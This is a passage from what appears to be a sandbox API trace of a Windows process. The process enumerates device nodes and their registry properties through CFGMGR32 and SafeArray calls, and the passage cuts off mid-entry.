CM_Get_Device_IDA (in: dnDevInst=0x38, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HDAUDIO\\FUNC_01&VEN_1AF4&DEV_0022&SUBSYS_1AF40022&REV_1001\\4&3ADB15C9&0&0001") returned 0x0 [0215.598] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3c44a818, dwHighDateTime=0x1d9eb0c)) [0215.599] SetEvent (hEvent=0x248) returned 1 [0215.600] SetEvent (hEvent=0x248) returned 1 [0215.601] free (_Block=0x20abc27cb20) [0215.601] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0215.602] malloc (_Size=0xdc) returned 0x20abc286890 [0215.602] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0215.603] free (_Block=0x20abc286890) [0215.603] malloc (_Size=0x48) returned 0x20abc27cf80 [0215.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3c472cf9, dwHighDateTime=0x1d9eb0c)) [0215.604] SetEvent (hEvent=0x248) returned 1 [0215.604] malloc (_Size=0x18) returned 0x20abc281fa0 [0215.605] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.605] free (_Block=0x20abc281fa0) [0215.605] malloc (_Size=0x18) returned 0x20abc281b80 [0215.605] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.605] free (_Block=0x20abc281b80) [0215.605] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bf70 [0215.605] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0215.605] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0215.605] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0215.605] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79730 [0215.605] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0215.605] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0215.606] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0215.606] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0215.607] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.607] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.608] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79730) returned 1 [0215.608] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bf70) returned 1 [0215.609] SetEvent (hEvent=0x248) returned 1 [0215.610] free (_Block=0x20abc27cf80) [0215.610] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0215.612] malloc (_Size=0x492) returned 0x20abc285b80 [0215.612] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc285b80, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc285b80, pulLength=0x2dc22fd3f8) returned 0x0 [0215.613] free (_Block=0x20abc285b80) [0215.613] malloc (_Size=0x48) returned 0x20abc287580 [0215.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3c472cf9, dwHighDateTime=0x1d9eb0c)) [0215.614] SetEvent (hEvent=0x248) returned 1 [0215.614] malloc (_Size=0x18) returned 0x20abc281a80 [0215.614] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.614] free (_Block=0x20abc281a80) [0215.614] malloc (_Size=0x18) returned 0x20abc282040 [0215.614] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.614] free (_Block=0x20abc282040) [0215.615] malloc (_Size=0x18) returned 0x20abc281d20 [0215.615] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.615] free (_Block=0x20abc281d20) [0215.615] malloc (_Size=0x18) returned 0x20abc281c60 [0215.615] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.615] free (_Block=0x20abc281c60) [0215.615] malloc (_Size=0x18) returned 0x20abc2820c0 [0215.615] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.615] free (_Block=0x20abc2820c0) [0215.615] malloc (_Size=0x18) returned 0x20abc281d80 [0215.615] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.616] free (_Block=0x20abc281d80) [0215.616] malloc (_Size=0x18) returned 0x20abc282080 [0215.616] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.616] free (_Block=0x20abc282080) [0215.617] malloc (_Size=0x18) returned 0x20abc281b80 [0215.617] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.617] free (_Block=0x20abc281b80) [0215.617] malloc (_Size=0x18) returned 0x20abc281e80 [0215.617] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0215.617] free (_Block=0x20abc281e80) [0215.617] malloc (_Size=0x18) returned 0x20abc2819a0 [0215.617] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.617] free (_Block=0x20abc2819a0) [0215.617] malloc (_Size=0x18) returned 0x20abc281e80 [0215.618] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.618] free (_Block=0x20abc281e80) [0215.618] malloc (_Size=0x18) returned 0x20abc281f20 [0215.618] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0215.618] free (_Block=0x20abc281f20) [0215.618] malloc (_Size=0x18) returned 0x20abc281e80 [0215.618] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0215.618] free (_Block=0x20abc281e80) [0215.618] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0215.618] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0215.618] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0215.619] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0215.619] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b80 [0215.619] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0215.619] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0215.619] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0215.619] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0215.620] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b10, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.620] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b18, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.620] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b20, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.620] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b28, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.620] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b30, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.621] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b38, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.621] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b40, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.621] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b48, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.621] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b50, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.621] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b58, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.621] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b60, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.622] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b68, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.622] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2b70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.622] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b80) returned 1 [0215.623] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0215.624] SetEvent (hEvent=0x248) returned 1 [0215.624] free (_Block=0x20abc287580) [0215.624] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.753] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c5c7e75, dwHighDateTime=0x1d9eb0c)) [0215.754] SetEvent (hEvent=0x248) returned 1 [0215.758] SetEvent (hEvent=0x248) returned 1 [0215.759] free (_Block=0x20abc27cb20) [0215.759] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.760] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c5ee854, dwHighDateTime=0x1d9eb0c)) [0215.760] SetEvent (hEvent=0x248) returned 1 [0215.761] SetEvent (hEvent=0x248) returned 1 [0215.761] free (_Block=0x20abc27cb20) [0215.761] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.762] malloc (_Size=0x48) returned 0x20abc27cf80 [0215.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c5ee854, dwHighDateTime=0x1d9eb0c)) [0215.762] SetEvent (hEvent=0x248) returned 1 [0215.763] SetEvent (hEvent=0x248) returned 1 [0215.763] free (_Block=0x20abc27cf80) [0215.764] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.764] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c5ee854, dwHighDateTime=0x1d9eb0c)) [0215.764] SetEvent (hEvent=0x248) returned 1 [0215.767] SetEvent (hEvent=0x248) returned 1 [0215.767] free (_Block=0x20abc27cb20) [0215.767] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.770] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c5ee854, dwHighDateTime=0x1d9eb0c)) [0215.771] SetEvent (hEvent=0x248) returned 1 [0215.771] SetEvent (hEvent=0x248) returned 1 [0215.772] free (_Block=0x20abc27cb20) [0215.772] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x38, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0215.772] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3c6142e1, dwHighDateTime=0x1d9eb0c)) [0215.773] SetEvent (hEvent=0x248) returned 1 [0215.775] SetEvent (hEvent=0x248) returned 1 [0215.775] free (_Block=0x20abc27cb20) [0215.776] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x38, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0215.776] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3c6142e1, dwHighDateTime=0x1d9eb0c)) [0215.776] SetEvent (hEvent=0x248) returned 1 [0215.777] SetEvent (hEvent=0x248) returned 1 [0215.778] free (_Block=0x20abc27cb20) [0215.778] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0215.778] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c6142e1, dwHighDateTime=0x1d9eb0c)) [0215.778] SetEvent (hEvent=0x248) returned 1 [0215.781] SetEvent (hEvent=0x248) returned 1 [0215.782] free (_Block=0x20abc27cb20) [0215.782] CM_Get_Device_IDA (in: dnDevInst=0x39, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2918&SUBSYS_11001AF4&REV_02\\3&11583659&0&F8") returned 0x0 [0215.782] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3c6142e1, dwHighDateTime=0x1d9eb0c)) [0215.782] SetEvent (hEvent=0x248) returned 1 [0215.783] SetEvent (hEvent=0x248) returned 1 [0215.783] free (_Block=0x20abc27cb20) [0215.784] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0215.784] malloc (_Size=0x124) returned 0x20abc286890 [0215.784] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0215.785] free (_Block=0x20abc286890) [0215.785] malloc (_Size=0x48) returned 0x20abc27cf80 [0215.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3c6142e1, dwHighDateTime=0x1d9eb0c)) [0215.785] SetEvent (hEvent=0x248) returned 1 [0215.785] malloc (_Size=0x18) returned 0x20abc281ea0 [0215.785] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0215.786] free (_Block=0x20abc281ea0) [0215.786] malloc (_Size=0x18) returned 0x20abc281e60 [0215.786] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0215.786] free (_Block=0x20abc281e60) [0215.786] malloc (_Size=0x18) returned 0x20abc281ec0 [0215.786] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0215.786] free (_Block=0x20abc281ec0) [0215.786] malloc (_Size=0x18) returned 0x20abc281ee0 [0215.786] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0215.786] free (_Block=0x20abc281ee0) [0215.786] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c6f0 [0215.786] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0215.786] SafeArrayGetLBound (in: psa=0x20abba7ff50, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0215.786] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0215.786] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b80 [0215.786] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0215.786] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0215.786] SafeArrayGetElemsize (psa=0x20abba7ff50) returned 0x8 [0215.787] SafeArrayGetElement (in: psa=0x20abba7ff50, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0215.787] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.787] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799d8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.787] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799e0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.788] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799e8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.788] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b80) returned 1 [0215.907] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c6f0) returned 1 [0215.908] malloc (_Size=0xd8) returned 0x20abc2867b0 [0215.908] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0215.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0215.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0215.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0215.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0215.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0215.909] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0215.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0215.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0215.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0215.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0215.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0215.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0215.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0215.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0215.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0215.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0215.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0215.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0215.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0215.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0215.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0215.912] malloc (_Size=0x18) returned 0x20abc281fa0 [0215.912] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0215.912] malloc (_Size=0x10e) returned 0x20abc286890 [0215.912] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0215.913] free (_Block=0x20abc286890) [0215.913] malloc (_Size=0x48) returned 0x20abc287990 [0215.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3c76bd9d, dwHighDateTime=0x1d9eb0c)) [0215.914] SetEvent (hEvent=0x248) returned 1 [0215.917] malloc (_Size=0x18) returned 0x20abc281f60 [0215.917] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0215.917] free (_Block=0x20abc281f60) [0215.917] malloc (_Size=0x18) returned 0x20abc281ac0 [0215.917] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0215.917] free (_Block=0x20abc281ac0) [0215.917] malloc (_Size=0x18) returned 0x20abc281b40 [0215.917] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0215.917] free (_Block=0x20abc281b40) [0215.917] malloc (_Size=0x18) returned 0x20abc281b60 [0215.917] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0215.917] free (_Block=0x20abc281b60) [0215.917] malloc (_Size=0x18) returned 0x20abc281ee0 [0215.917] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0215.917] free (_Block=0x20abc281ee0) [0215.917] malloc (_Size=0x18) returned 0x20abc281b60 [0215.918] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0215.918] free (_Block=0x20abc281b60) [0215.918] malloc (_Size=0x18) returned 0x20abc2819e0 [0215.918] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0215.918] free (_Block=0x20abc2819e0) [0215.918] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c870 [0215.918] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0215.918] SafeArrayGetLBound (in: psa=0x20abba7ff50, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0215.918] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0215.918] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79760 [0215.918] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0215.918] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0215.918] SafeArrayGetElemsize (psa=0x20abba7ff50) returned 0x8 [0215.918] SafeArrayGetElement (in: psa=0x20abba7ff50, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0215.919] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffc0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.919] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffc8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.919] memcpy (in: _Dst=0x2dc22fd058, 